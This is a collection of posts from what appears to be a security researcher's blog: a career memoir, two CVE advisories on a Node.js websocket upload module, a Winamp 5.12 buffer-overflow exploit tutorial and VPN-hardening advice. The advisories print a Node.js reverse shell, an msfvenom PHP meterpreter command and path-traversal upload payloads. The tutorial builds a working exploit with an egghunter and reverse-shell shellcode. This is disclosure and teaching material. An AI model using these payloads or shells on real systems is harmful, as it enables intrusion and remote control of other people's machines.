How I hacked my way to the security sector

Hello friend, hello friend.

It’s been too long, I know.

But the thing is, that I owe you a lot. I owe you my whole life, my freedom and almost all of my experiences. I owe you an explanation on why I stopped communicating and why I ghosted you in the worst way possible.

But let’s get things from the start. Way back in time. And let me tell you a story about my life and how I hacked my way to the security sector. Maybe then you will understand.

TLDR” Go to the last section for your motivational speech…

The early days

Everything starts at the age of 12. I was visiting one of my uncles to play with fellow humans of my age, when I saw him clicking loudly and fast, and watching a screen full of lines. This was the first interaction I had with a terminal, which I can definitely describe as magical.

From there on, I was trying to find excuses every week to visit my uncle, in order to make a mess of his programming books and computer magazines (oh, those magazines). I started to learn how to code simple programs in C, which seemed like magic at the start.

After a couple of years I was sure that I wanted to create stuff and interact with computers my whole life. I wanted to be a “developer”, but that dream got crushed after a short walk to the local newspaper shop at the age of 16. This was when I saw a magazine named “Total Hacker”, which was a small gift issue supplied by a well known computer magazine. I didn’t hesitate a second. I bought it and I spend the next hours and days reading through it again and again, searching online for the mentioned links and technologies through my DSL line.

The thrill I felt 4 years ago at my uncles place, passed through me once more.

Cr0w’s Place, The start

At that point, and after many issues of the magazine, I started thinking that I have to do something of my own. I have to share all those exciting experiences I had in the infosec world and share my “knowledge” with the world.

This is when Cr0w’s Place was born.

It was at the early ages of YouTube, when “hacking tutorials” were videos with a terminal and really loud electronic or metal music as the background. But I was more civilized. I knew that this wasn’t just my hobby, I knew I wanted to be more “professional” than the kids running BackTrack tools in a terminal and trying to hide because they were supposedly “crossing the lines” in a stupid and unnecessary way. My thrill was originating from the raw knowledge and skills I was able to find by myself and I was interested in the deeper knowledge of this field.

Of course everything started with higher level stuff, video tutorials about “hacking” with some really successful ones about “hacking with android”. All these, alongside the blog, was the starting point and the reason behind the Cr0w’s Place “branding”, which initiated my life in the infosec world.

I was influencing young hacker padawans, before influencers was even an idea… {Insert LOL here}

Jokes asside, this was the first step into a long way that hasn’t been over yet.

So, I can get paid from my hobby?

After a year of videos and posts that really got traction that I never expected, I wrote an article about creating a custom WiFi Pineapple. At that point I knew I had knowledge that I could share, I had the means of sharing (at a period when many people were confused about social media), and I had a couple of connections in the local infosec world.

And this is when my first “real” work comes to play, in the biggest Greek hacking magazine, named DeltaHacker. It was an initiative of the writers of the previously mentioned TotalHacker, but in a non restrictive way by some big parent publisher. So, I got a message from the team that they wanted me to write a detailed article series about my WiFi Pineapple post, where I would explain how someone can build it at home, way cheaper than the original one.

And I would get paid for it!!!!

Yes, that was a big thing for me. I was 19 years old, with no academic or professional experience, and despite that, I got a proposal. Yes, the money was almost nothing, but considering the nature of this magazine, the love I had about the community and the love that those people had about their magazine, it was and it still is one of the biggest honors in my life.

At my time working in DeltaHacker, I wrote several articles, mainly technical, in a broad area of topics and technologies. That, alongside my articles and videos for Cr0w’s Place, helped me discover more areas of the security sector, research about more topics and dig deeper than I though that I can.

Durring that time though, my country was in deep shit, which meant that companies like Parabing (the parent company of DeltaHacker) could not afford many external writers and had to invent other ways in order to survive.

That led me into searching for something different, wanting to leave my country as not so many opportunities existed, but being restricted from my academic studies.

That’s where Hakin9 media came to my life. As an security enthusiast I was always intrigued by payed security trainings, certificates, etc. Many people that were working in the industry had them, but mainly because their company paid them. So, navigating to one of the training websites I already knew (Pentest mag), I thought that I can definitely create something like this. Teach people about topics I already had deep knowledge of. So, a couple of emails later I had an other opportunity to work for them in my first workshop as an instructor, with a way better payout than my last endeavors.

Do it with passion or don’t do it at all

There are a hundred more things that happened during those years, and hundreds more that happened the years after, until now. Good and bad things, things that contribute to who I am.

We might discuss more in a part 2 or we might never discuss more. We might talk about my work with some of the biggest car manufacturers in the world, the military and others. We might talk about my 0days and my ongoing security research. About my academic life and my academic paper in blockchains and cryptography, that took almost two years to get published.

Or we might not talk about any of these.

But in the end I want you to get one thing, friend

Everything you do, do it with passion

Everything you do, do it with respect to yourself and your life

Accept that we are not invincible

Appreciate every moment and keep moving forward… And even if you fall, try to stand up cause another fucking fall awaits in the corner for you…

Be present, be kind and support the fucking community that made you who you are today…

Don’t make everything for money, and in the end money will come… And even if they don’t, happiness will come because in the end you enjoyed every fucking minute of your life, doing what you truly love…

It’s not always about work and passion about what you do…

Love yourself, what you do and the people in your life

I don’t know if you truly are out there, friend, but even if those words, this blog, I, can help one person out there achieve his/her dream, Cr0w’s place did something right…

“No matter what anybody tells you, words and ideas can change the world.”
– John Keating, Dead Poets Society

Farewell friend, it was nice talking you you again…


[CVE-2020-24807] File Type Restriction Bypass in NPM module

Title: File Type Restriction Bypass in NPM module
Date: 31/07/2020
CVE-ID: 2020-24807
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL:
Tested on: node v10.19.0, v2.0.31, v2.3.0
Proof of Concept:

During some of our pentests, we face applications that are well secured with not so many misconfigurations. That means that we have to dig deeper, if the time frame allows it. In one of our pentest we faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but in that case the client made use of

One of the main functionalities of the web application was file upload, and for that reason it used the NPM module. For more info about the last vulnerability we discovered in this module, you can read the post here. In a sentence, there is a path traversal vulnerability which allowed us to upload files in any path of the system, considering the user that the web server was running on.

This by itself can supply remote code execution, considering that we can possibly wright the ssh_config file, or even the /etc/passwd and /etc/shadow files. But this is the case only in web servers that run with root privileges, so we had to dig deeper for more if we wanted to have remote code execution with a less privileged user.

Hence the file type restriction bypass vulnerability in the module, which allowed us to bypass the file type restrictions specified in the modules configuration. That way we were able to upload any file type and by adjusting to the underlying configuration, upload the proper shell to obtain remote code execution to the underlying system.

Client and project aside, the upload functionality of is once more vulnerable to improper input validation in a different part of the code, allowing attackers to bypass file type restrictions and it allows them to upload files types of their choice in the underlying system.

Description of Vulnerability

The default configuration of comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with


In order for this file to be created to the underlying system, the code from index.js of is executed and the following part of the code, checks for the file type of the file (supplied by the configuration) and acts accordingly (accepts or discards the upload request):

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
else {
self.socket.emit(${id}, emitObj); self.emit('complete', emitObj);
else {
self.socket.emit(${id}, emitObj);
self.emit('complete', emitObj);

As an example, if the user uploads a file with the name “testfile.mp3” (with the applied configuration only allowing .mp3 files), a new .mp3 file will be created. As the aforementioned code makes the check only on the client side and before the websocket request gets created, the upload request can be intercepted and the file name altered in a way that allows us to alter the file type of the created file in the server. The following example exploits this issue:


In order to bypass the client side restriction, we have to rename the original file with the file type that is accepted by the web application (in this case .mp3). After we intercept the request, we can change the file type to the original one (e.g. .php), and no checks will be made in the server side. This will have as a result the creation of a .php file in the underlying system, which means that the file type checks has been bypassed.

Additionally, we can combine this attack with our previously disclosed path traversal vulnerability, which in certain configurations can result in code execution in the underlying system as we can see in the next section.

Combining Vulnerabilities to Obtain RCE

Now that we can upload any file type in any server folder we want to, it means that in certain configurations we can acquire code execution in the underlying system.

Case 1: Changing the configuration files.

One of the things we can do is alter the configuration files, add malicious javascript libraries in the webserver and alter the index.html in order to load them. A good example will be to alter the index.html file by copying the contents of it and adding a <script> tag to include a js file in it.

After that we can also upload a .js file (the one that we include in the index.html file, which is loaded by the server) which will include the following code:

var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “”, function(){
return /a/; // Prevents the Node.js application from crashing

This reverse shell will work only in certain misconfigured Node.js installations, which are not so rare in the wild. Changing the IP and port of our listener (you can start a listener to your attacking machine with nc -lnvp 8080) and by making the changes mentioned above, we can obtain a reverse shell, where we can execute commands in the underlying system.

Case 2: Exploiting configuration specific vulnerabilities.

There are many different configurations that can exist running the vulnerable module. One of them could be a node.js server running PHP. As crazy as it sounds, there are multipurpose servers that can support this kind of functionality, which are relatively easy to exploit.

To create a PHP reverse shell we can use msfvenom and execute the following command:

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=4443 -f raw > shell.mp3

Figure 2: Creating a reverse shell in PHP and starting a listener to receive the connection after the shells execution.

This will create a php file that when executed by the server will supply us with a reverse shell in our listener. To upload the file using our combined vulnerabilities, we can alter the upload websocket request and alter it as follows:


Figure 3: Original upload request through websockets, versus edited request, in order to change upload directory (using path traversal vulnerability) and file type.

This will upload our file in the public folder of our webserver, which is allowed to be accessed in our configuration. By navigating to the file with our browser, we are able to execute the php shell and get a reverse shell in our attacking machine.

Figure 4: Remote code execution succeeded, after navigating to the newly uploaded shell.

Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Create a file which will be of the type that is accepted by the web application. (The contents of the file can be of any type)
  • Upload a file using the web application and intercept the websocket request
  • Change the “name” parameter by adding altering the file type of the file, with the desired one:
    • 42[“”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.php file in the data directory of the current user


No fix is currently available. Consider using an alternative package or technology until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 31st of July 2020.

  • Initial Disclosure: 31st July 2020
  • Security Team Validation: 11th August 2020
  • Advisory Release: 2nd October 2020
  • CVE ID was Assigned: 6th October 2020

Originally posted here.

Exploit Development Part 1 – Winamp 5.12 Buffer Overflow in Python (with egghunters)

Hello friend, hello friend,

As you may know, I recently acquired my OSCP and I really fast stepped into OSCE, so right now I am spending my days in my rainy window developing exploits, backdooring and hunting for 0days (yeap, I have some of them too now 😉 ). The biggest issue though, is that CTP is a “bit” outdated for today’s standards. And this is not necessarily bad, as in order to step up to more complex stuff you definitely have to understand the fundamentals. But with those standards that I use in my work, I consider the use of Backtrack, msfencode and others a bit outdated in a bad way. For that reason, I wanted to prepare a guide to exploit development that will better reflect the needs and tools of the 2020 security researcher out there.

Of course, I will not be able to cover everything, not even a part of this HUGE part of security, but if you are interested in exploit development in 2020, maybe this is a good place to start.

From the context of the post you already know that we will be exploiting a known buffer overflow in Winamp 5.12 (you can find the vulnerable version here), and we will be hosting it in a Windows XP SP3 installation (as we do not want to deal with ASLR for now) and for this tutorial I will be using Immunity Debugger  and but of course you can use the debugger of your choice. (in case you just start with buffer overflows and exploit development, I would highly suggest the awesome series from Corelan that starts from here)

Let’s get it started…

Replicating the Crash

The vulnerability is a buffer overflow in Winamp which happens while processing playlist files of .pls type with long UNC path. In order to start developing our exploit we have to know the structure of the file, and after doing a little research in such files we find out the following:

playlist]\r\nFile1=\\\\ UNC PATH \r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n”

Supplying the UNC path with the right amount of data, results in a crash (which we will exploit in order to get code execution), but its a bit sneaky and it acts differently to different buffer lengths. That’s why with some light magic I give you our skeleton code written in Python as the fuzzing is out of scope and will be described in an other post.

#!/usr/bin/python -w




start= “\r\nFile1=\\\\”
buffer = “\x90” * 856 + “\xcc” *166 + “\x41\x41\x41\x41” + “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90″

exploit = start + buffer + end

textfile = open(filename , ‘w’)

As you can see, we create a new file called poc.pls, we add the head of the file, the buffer and the footer and we save it. As simple as that. 😛

The most complex part of the code is the buffer, so let’s take it part by part:

  • “\x90” * 856 – These are NOPs used to file the buffer and reach the crash point
  • “\xcc” *166 – These are breakpoints placed into the buffer in order to better manipulate the execution later, let’s leave it for now
  • “\x41\x41\x41\x41” – Before this, is the place that the crash happens and these \x41 (As) are the bytes that will overwrite the EIP register as a result of the buffer overflow.
  • “\x83\x83\x83\x83\x83\x83\x83\x83” + “\x90\x90\x90\x90” – This is the only available buffer space that we have in order to start the chain of code execution, so you can understand that we have to start doing some magic with such limited space 😉

So by saving and executing this exploit, we get a poc.pls file that we can open with Winamp by going to File -> Play File and selecting this file. But before doing that, open Immunity Debugger and attach to Winamp (File -> Attach and select the winamp process). If the process get poused, hit F9 to start it, and open the poc.pls file normally with Winamp.

Figure 1. Buffer overflow with EIP overwrite.

As we can see from Figure 1, opening our poc, has the following results:

  • EIP register gets overwritten with four As (41414141)
  • ESP points to our 11 byte buffer (in order to see that right click in the ESP register and select follow in DUMP in the top right window of Immunity)

So everything worked as expected from our skeleton exploit, time to get dirty.

Jumping Around

The situation that we are in is a really common one, as we have the ESP register pointing to our user controllable input, and we can easily overwrite EIP, so we need to overwrite the EIP with an address that will jump to the address pointed by the ESP. This can be done with many ways (see more here), but for our case we will use, an awesome script for that kind of exploitation.

In the input bar that we find in the bottom of immunity debugger, we write:

!mona jmp -r esp

This will supply us with all the available addresses that can execute a jump in the address that ESP points to, which are loaded by Winamp. In order to see the whole list of the addresses that mona found, you have to open the jmp.txt file in Immunity’s installation folder and from there find the proper address you wanna use. Some good points is to start from loaded dll’s that have security mechanisms disabled and that are native to the application, but this is out of scope and you will have to learn it mostly by trial and error. For our purposes, we select the following address:

0x0202d961 : call esp | {PAGE_EXECUTE_READ} [in_mp3.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Program Files\Winamp\Plugins\in_mp3.dll)

As you see this address calls esp and fits our standards, so now we want to change the four As in our exploit with this address in order to overwrite EIP with the call esp instruction. To do so, we change the “\x41\x41\x41\x41” part of our exploit with “\x61\xd9\x02\x02”, and execute the exploit again with the same way. (Before executing the exploit right click in the top right window of Immunity and go to Go to -> Expressions, paste the address of call esp we used 0202d961, and hit F2 to set a breakpoint in this address)

Figure 2. Successful EIP overwrite with the CALL ESP instruction

Executing the exploit we see that we hit our breakpoint and we overwrite our EIP with 0202d961 that points to the Call ESP instruction. SUCCESS. Hitting F7 to step into the next instruction we see that we get directly into the start of our 11 byte buffer and it’s time for our next jump as there is not much space for our shellcode.

As we have a lot of space in the start of our buffer (all those NOPs and breakpoints) one clear option is to jump back into this buffer. To do so we can subtract 176 bytes from ESP and then jump what ESP points to. We can do this with the following assembly code:




So how we implement this in our exploit you ask? Easy, we double click the contents of the address that we stopped the execution because of the breakpoint and add the aforementioned assembly one line at a time hitting enter to save it.

Figure 3. Double clicking at the assembly contents of an address we can alter them.

When we click save, we see that this is translated to the following HEX representation:

83EC 58
83EC 58

That we can now add into our exploit, yes you guessed it, in the place of the NOPs that the previous CALL ESP instruction leads to. So now, the buffer variable of our initial exploit will look like this:

buffer = “\x90” * 856 + “\xcc” *166 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

This was our 1st stage shellcode, and now we have a less restrictive space to execute our 2nd stage shellcode, but again not enough to execute a reverse shell for example. In this example, we could easily use some more jumps to further go back in the buffer, but we will try something more complex and definitely more fun.

Making an Omelette

Egghunters is a well-known field for exploit development,  so it has been covered a lot of times by people that make a better and more careful job than me. You can be educated the proper way here and here. I will just give you the higher level understanding and the technical aspects on how to use one in our case and with modern tools.

The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for our final stage shellcode and redirect execution flow to it. The egg hunter contains a user defined 4-byte tag, it will then search through memory until it finds this tag twice repeated (if the tag is “1234” it will look for “12341234”). When it finds the tag it will redirect execution flow to just after the tag and so to our shellcode.

To start, we have to create an egghunter routine with To do so we execute:

!mona egg -t cr0w

This means that we created an egghunter that hunts for the cr0wcr0w senescence which will be followed by our final shellcode. The egghunter is the following:


To implement it in our code, we need to replace the first part of the breakpoits (\xcc) of our buffer, as we know that our backward jump lands somewhere in the end of the NOPs, the execution will slide through the NOPs and eventually reach the start of our \xcc part. So now our buffer variable will be the following:

buffer = “\x90” * 856 + “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7” + “\xcc” * 134 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

As you might notice, we decreased the number of \xcc by 32, which is the size of our egghunter. We did this because our buffer overflow is really sensitive as we mentioned in the start, and we have to maintain the buffer length. Now, let’s again run the exploit and see what happens in immunity.

Hmmm. Something is not right. We have an access violation and inspecting the place of the crash closer we see that there is a 00 null byte in a place that it shouldn’t be.

Figure 4. Bad character crashes our egghunter execution.

This is because of a bad character which is converted to a null byte during execution. Comparing our original egghunter with the one in Immunity we see that the character that was filtered out is the “\x2e”.

So now to bypass this issue we have to encode our egghunter shellcode in a way that will be able to bypass this restriction. To do that we will use msfvenom and an alphanumeric encoder. To start we need to wright the egghunter in a .bin file, so execute the following in a Linux machine:

perl -e ‘print “\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x72\x30\x77\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7″‘ > egghunter.bin

This will create the .bin file containing our egghunter and then we pass it to msfvenom in order to properly encode it:

cat egghunter.bin | msfvenom -p – -a x86 –platform win -e x86/alpha_mixed -f py -v egghunter

Figure 5. Egghunter encoding to avoid bad characters.

As you see, we encoded our egghunter which resulted in an 125 byte payload, that we can easily fit in the space we have available. There are of course more ways to encode our egghunter and to avoid bad characters, but for now let’s stick with it.

We copy our python code in our exploit, add it to our breakpoint buffer space and substract 125 from the total of 166 \xcc that we had in the start. This will result in the following buffer for our exploit:

buffer = “\x90” * 856 + egghunter + “\xcc” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

And if we execute the exploit (and pass all the breakpoints with F7), we can see Immunity running a series of decoding passes and then start searching for the egg. At this point it will not find anything as we haven’t placed the egg into our shellcode so let’s continue our journey 😉

Stage the Third

Now we are in the final stage. We need to create our reverse shell shellcode place it inside the buffer and let the egghunter find it which will lead in its execution. We have a huge buffer space to work with (856 bytes to be precise) which means that we can place the egg in the start of it, and use the rest of the buffer to place our shellcode. Let’s first create the reverse shell shellcode by executing the following:

msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST= EXITFUNC=none -f python -b ‘\x00\x2e’ -e x86/alpha_mixed -v shellcode

This will create an alphanumeric encoded reverse shell shellcode that will create a connection from the victim to the attackers machine in port 4444. We copy the generated python code in our exploit and we alter the buffer in the following way:

buffer = “cr0wcr0w” + shellcode + “\x90” * 139 + egghunter + “\x90” * 41 + “\x61\xd9\x02\x02” + “\x83\xec\x58\x83\xec\x58\xff\xe4” + “\x90\x90\x90\x90”

Some interesting things happened here:

  • As you might remember we set the egg to be cr0w in our egghunter so it will hunt for the cr0wcr0w sequence, that’s why our buffer starts with it. It will search it and move the execution in this place.
  • After the egg we place the shellcode as it will executed directly after the movement of the execution.
  • From the total of 856 NOPs we subtracted the 8 bytes from the egg sequence and the 709 bytes from the generated shellcode (but this number may vary in your case so do the correct calculations here) which resulted in 139 leftover NOPs.
  • Additionally, we altered the breakpoints to be NOPs in order to not stop the execution at any point.

The only thing left to do is start a listener in our attackers machine with:

nc -lnvp 4444

and execute the exploit.

Figure 6. Success.

Success!!! As you see we successfully exploited the Winamp 5.12 UNC path buffer overflow by using egghunters. I will not share the final exploit code as I think you can easily recreated it with the details that I provided and you can easily find it online. Feel free to ask any questions in the comments and believe me, we just started 😉

P.S. This is just a work in progress, I am really sure that I f@cked up somewhere, so if you find something that does not add up please let me know. Happy to receive constructive criticism!!

[CVE-2020-15779] Path Traversal in NPM module

Title: Path Traversal in NPM module
Date: 18/05/2020
CVE-ID: CVE-2020-15779
Author: Thomas Sermpinis (a.k.a. Cr0wTom)
Versions: <= 2.0.31
Package URL:
Tested on: node v10.19.0, v2.0.31, v2.3.0
Proof of Concept:

During one of my penetration tests for a local military equipment supplier while working for Auxilium Cyber Security, I faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the backend system in order to make use of web sockets, but the client made use of

The web application was relatively small, with only a few entry points that did not seem to be vulnerable. All the modules were up to date and my enumeration started to go into a dead end. As there were more days for my pentest, I decided to dig deeper and I started analyzing more the request and researching about the npm modules that were included and were in use in the web application.

One of the functionalities was a configuration file upload, that was stored in a folder in the filesystem, by using the npm module. (2.0.31) is a node module for uploading files via the module. Playing around with the requests I managed to bypass the restrictions and upload a file in a different folder from the expected one (I knew that as I had access to the back-end of the system).

Client and project aside, the upload functionality of is vulnerable to improper input validation, allowing attackers to bypass upload directory restrictions and it allows them to upload files to paths of their choice in the underlying system.

Description of Vulnerability

The default configuration of comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:

Figure 1: Normal websocket request for file upload with

In order for this file to be created to the underlying system, the code from index.js of is executed and the following part of the code, manages to merge the file path (supplied by the configuration) with the file name that was supplied by the user:

if(typeof options.uploadDir === ‘string’) { uploadDir = path.join(options.uploadDir, filename); }

As an example, if the user uploads a file with the name “testfile.mp3” and the server is configured to store files in the “/home/Documents/socket-app/data” path the resulting path that will create the file, will be “/home/Documents/socket-app/data/testfile.mp3“. Because the aforementioned code makes no check on the file name, the upload request can be intercepted and the file name altered in a way that will move in certain paths of the system. The following example exploits this issue:


This request will generate the following path for the file to be stored “/home/Documents/socket-app/data/../testfile.mp3“, which means that the file will be actually be created in the “/home/Documents/socket-app/testfile.mp3” as the ../ characters will move the path one level lower in the filesystem.

Figure 2: File created in the node_modules directory of the filesystem, outside the intended directory.

From this example we can understand that we can write in several sensitive directories like the ~/ home directory (which includes the .ssh folder which allows us to rewrite the ssh configuration), in the root webserver directory (which can help us get a reverse shell under the right circumstances) and the cron directory (where we can inject cron jobs for code execution). Additionally, if the backend system runs with superuser privileges (which is not so uncommon), the attacker can use this vulnerability to create files in even more sensitive paths (e.g. /root and /etc). As an example, we can write the /etc/passwd file of our implementation like the following:


Issue Replication

In order to replicate the issue, the following steps have to be executed:

  • Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zap)
  • Upload a file using the web application and intercept the websocket request
  • Change the “name” parameter by adding ../ and specifying the needed path:
    • 42[“”,{“id”:”u_0″,”name”:”../../../Downloads/testfile.mp3″,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
    • This example will create the testfile.mp3 file in the Downloads directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)


No fix is currently available. Consider using an alternative package until a fix is made available.

Vulnerability Disclosure Timeline

Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), I responsibly disclosed this vulnerability on 18th of May 2020.

  • Initial Disclosure: 18th May 2020
  • Security Team Validation: 18th May 2020
  • Advisory Release: 7th July 2020
  • CVE-ID Assignment: 15th July 2020
  • PoC Release at 27th July 2020

Originally posted here.

How to secure your corporate VPN Infrastructure during the COVID-19 epidemic?

This post was originaly posted to my LinkedIn profile here, in cooperation with Auxilium Cyber Security.

COVID-19 still affects our everyday life, with companies being one of the weakest links in the chain. Employees get filled with uncertainty for their future which seriously affects people’s judgment and habits.

In our last post, we discussed phishing and how COVID-19 affected people’s judgment when it comes to emails and malicious links. But people’s judgment is not always the weakest link. Some of the vital parts of working from home may be affected by misconfiguration issues or even bad choices of products and one of these parts is Virtual Private Networks used to connect employees securely with the company’s assets. We, in Auxilium Cyber Security, have years of experience in VPN architecture, setup, configuration, and security and we wanted to share our best tips on how to keep your VPN infrastructure secure during COVID-19 days and not.

VPNs are not new technology. People all over the world use VPNs for privacy concerns, censorship and malicious acts amongst others. But now that almost all employees work from home, VPNs seem mandatory and for a good reason. They can create a direct connection from one place another (e.g. from the employee’s laptop to the company’s private network) which will encrypt the communication, so MITM attacks, data leaks from network tampering and other attacks like these can be avoided.

But as with our phishing related issues, VPN choices and set-up can result in serious security implications. Our experience in secure implementations of VPN infrastructures and testing makes us believe that many companies have misconfiguration issues, because of the complexity of such systems and the overload of different options. To strengthen the security of a VPN infrastructure, Auxilium Cyber Security suggests the following moves:

  1. Keep your products up to date. As discussed in our last post, many entry points for malicious users are achieved by exploiting outdated client, or even server, applications. Users will need to follow strict policies when working from home, and one of them must definitely be to update their VPN client application that they use to connect to the corporate network.
  2. Use multi-factor authentication. Multi-factor authentication like SMS codes and hardware keys are usually ignored as they present additional complexity for novice users. But novice users usually use weak passwords or even keep their passwords in unsecure places. This means that a single employee with a weak password can be the way in for an attacker to your corporate network, and even in cases of strong passwords, ignorant and uneducated employees can be easily phished for an easy way into the network. Presenting MFA, can strengthen the VPN implementation and move part of the liability to the company, instead of employees.
  3. Implement scheduled testing. VPN software and services are one of the most targeted technologies currently by malicious users, as more and more people use them every day. This means that updates and security research in this field runs with the speed of light, and proper security testing has to be scheduled. Auxilium Cyber Security has years of experience in secure network architecture and testing of VPN implementations, which can help your company design, implement and test your VPN if it is your first time with this technology or even if you want to comply with current security standards.
  4. Prevent DDoS attacks on your VPN server. Many denial of service attacks can target your VPN server. DoS attacks can result in limited availability or no service at all, and possibly serious implications for many users and positions inside the company, if the network is down. This means that this is a serious issue, and it has to be treated delicately. In order to prevent those issues, a suitable and well crafted DDoS policy has to be implemented which will be the result of real-time visibility and proper tuning of the server. Different devices have to be monitored efficiently and session timeouts have to be implemented according to the requirements of the network.

VPN security is mostly a company’s issue with many critical options to be taken. The most popular and widespread implementations are highly customizable, which opens a huge conversation about security, privacy and cryptography, something that can really mess up a VPN implementation. Leaving unrelated to IT employees aside, companies and IT departments are also in need of proper education, especially in times of crisis, where security implications become more and more common.

It may seem huge, alongside all the other issues that surfaced with the pandemic, but with those simple steps, a company can remain secure and be more sure about the mandatory measures that most of us are obliged to follow for the common good. We hope that these tips will help most of us stay secure, but for the ones that are uncertain about it, we strongly believe that our experience can benefit you. For VPN architecture, design, implementation, security testing, and others, feel free to contact us. Stay safe, stay home, stay secure.

Thomas Sermpinis for Auxilium Cyber Security